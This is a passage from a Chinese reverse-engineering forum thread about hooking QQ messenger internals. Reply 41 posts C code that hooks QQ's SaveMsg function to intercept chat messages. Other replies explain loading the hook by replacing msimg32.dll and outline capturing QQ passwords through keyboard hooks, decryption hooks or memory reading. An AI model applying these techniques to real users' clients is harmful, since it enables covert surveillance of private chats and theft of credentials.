能力值:
( LV2,RANK:10 )
|
-
-
26 楼
搞残TX。。。。。。。。。。。。。。。。。
|
能力值:
( LV2,RANK:10 )
|
-
-
27 楼
废话不多说,顶起!
|
能力值:
( LV2,RANK:10 )
|
-
-
28 楼
过不到两天就要被和谐了。。
|
能力值:
( LV2,RANK:10 )
|
-
-
29 楼
千不该万不该 tx 不该把这些重要函数导出来。但是既然倒出来,要隐藏掉 估计qq的重新做
|
能力值:
( LV2,RANK:10 )
|
-
-
30 楼
直接 和谐啦!
|
能力值:
( LV2,RANK:10 )
|
-
-
31 楼
09和10的密码很容易拿到,不论是键盘钩子还是hook内部函数解密都可以拿到密码
至于聊天信息获取,lz的方法主要是利用QQ的内部函数,这方面可利用的地方非常多,其他方法还有很多,比如comhook,我自己用的方法是直接读内存,优点是不用hook,缺点就是版本之间不通用,好在变化比较少,从09alpha到10sp2只变动过6次
|
能力值:
( LV2,RANK:10 )
|
-
-
32 楼
这个真不错。。支持
|
能力值:
( LV6,RANK:80 )
|
-
-
33 楼
呵呵,我是分析的别人的代码,根本算不上我的方法,让高手见笑了;看来蓝色炫影对QQ很有研究嘛,有时间向你请教喽~~~
|
能力值:
( LV6,RANK:90 )
|
-
-
34 楼
鉴定下楼主的源代码 刚好在逆一个东西 呵呵! 非常感谢
|
能力值:
( LV2,RANK:10 )
|
-
-
35 楼
工作需要,研究比较多,呵呵
我原来以为spy用的是comhook的方法,看了帖子才知道原来是这么回事
|
能力值:
( LV7,RANK:110 )
|
-
-
36 楼
好贴 顶一下 学到不少东西
|
能力值:
( LV5,RANK:60 )
|
-
-
37 楼
恩 ,不错!!!
|
能力值:
( LV9,RANK:170 )
|
-
-
38 楼
很久没见这类分析文章了
|
能力值:
( LV9,RANK:170 )
|
-
-
39 楼
奇怪,怎么看不到im32被加载
看了下加载模块,msimg32.dll用的是c:\windows\system32\目录下的,替换,QQ启动报错
|
能力值:
( LV12,RANK:1000 )
|
-
-
40 楼
看来有关QQ的文章还是容易搞到精华的,不能说一大堆吊兄弟们胃口啊,楼上的蓝兄也来一篇吧!你说的HOOK函数解密大概需要先找出一张初始化的表和伴随密码输入时动态生成的表吧?
|
能力值:
( LV6,RANK:90 )
|
-
-
41 楼
代码按下面这样修改,就不需要嵌入汇编了。无论debug还是Release都不会crash.
typedef unsigned long NTSTATUS;
typedef NTSTATUS ( *NTCREATEKEY)(wchar_t const *, unsigned long, unsigned long, unsigned long, struct ITXMsgPack *, struct ITXData *);
typedef NTSTATUS ( *MsgAbstract)(struct ITXMsgPack *,DWORD );
MsgAbstract AbstractMsg=NULL;
NTCREATEKEY SaveMsg=NULL;
HANDLE Hook_SaveMsg(wchar_t const * str, unsigned long data1, unsigned long data2, unsigned long data3,
struct ITXMsgPack * pmsg, struct ITXData * pdata)
{
DWORD dw=0;
const wchar_t * msg=NULL;
wchar_t qq[11]={0};
AbstractMsg((struct ITXMsgPack *)&msg,(DWORD)pmsg);
// _asm{
// mov ecx,dword ptr [ebp+0x18];
// mov dw,ecx;
// push dw;
// lea ecx,msg;
// push ecx;
// call AbstractMsg;
// add esp,8;
// nop;
// nop;
// nop;
// nop;
// }
// ChookOpenProcessKey->HookStatus(FALSE);
// (NTCREATEKEY) SaveMsg(str,data1,data2,data3,pmsg,pdata);
// _asm{
// add esp,0x18;
// mov ecx,DWORD ptr [ebp+0x3c];
// mov qq,ecx;
// nop;
// nop;
// nop;
// nop;
// }
swprintf(qq,L"%d",data1);
MessageBoxW(NULL,msg,qq,0);
ChookOpenProcessKey->HookStatus(TRUE);
// _asm{
// mov esp,ebp;
// pop ebp;
// retn;
// }
return 0;
}
|
能力值:
( LV2,RANK:10 )
|
-
-
42 楼
不错!! 钩子真好用。。。不过TX还真搞笑。反调试检测也没有 。。。这种技术查实可以秒防
|
能力值:
( LV2,RANK:10 )
|
-
-
43 楼
没那么复杂。。登陆的时候有个函数会取加密后的密码,然后把密码解密。。09的时候更容易,明文有一段时间出现在内存里的
由于工作的关系,不适合透露太多信息
|
能力值:
( LV6,RANK:80 )
|
-
-
44 楼
呵呵,谢谢zhujian~~~我当时是因为KernelUt.Util::Msg::SaveMsg和KernelUt.Util::Msg::GetMsgAbstract执行后,没有平衡堆栈,所以就写了汇编;第一次在程序里嵌汇编,见笑了~~~
|
能力值:
( LV6,RANK:80 )
|
-
-
45 楼
你可以将c:\windows\system32\下的msimg32.dll删了,然后都放在bin目录下;或者将msimg32.dll替换,还要将im32.dll放到c:\windows\system32\下。
|
能力值:
( LV2,RANK:10 )
|
-
-
46 楼
safeguard 1.03可以脱吗
|
能力值:
( LV2,RANK:10 )
|
-
-
47 楼
楼主强悍,膜拜~
|
能力值:
( LV2,RANK:10 )
|
-
-
48 楼
好厉害啊 顶一下 希望楼主继续努力 把密码也研究出来~~
|
能力值:
( LV2,RANK:10 )
|
-
-
49 楼
NB, 学习了!!!
|
能力值:
( LV9,RANK:490 )
|
-
-
50 楼
不错,学习了
|
|
|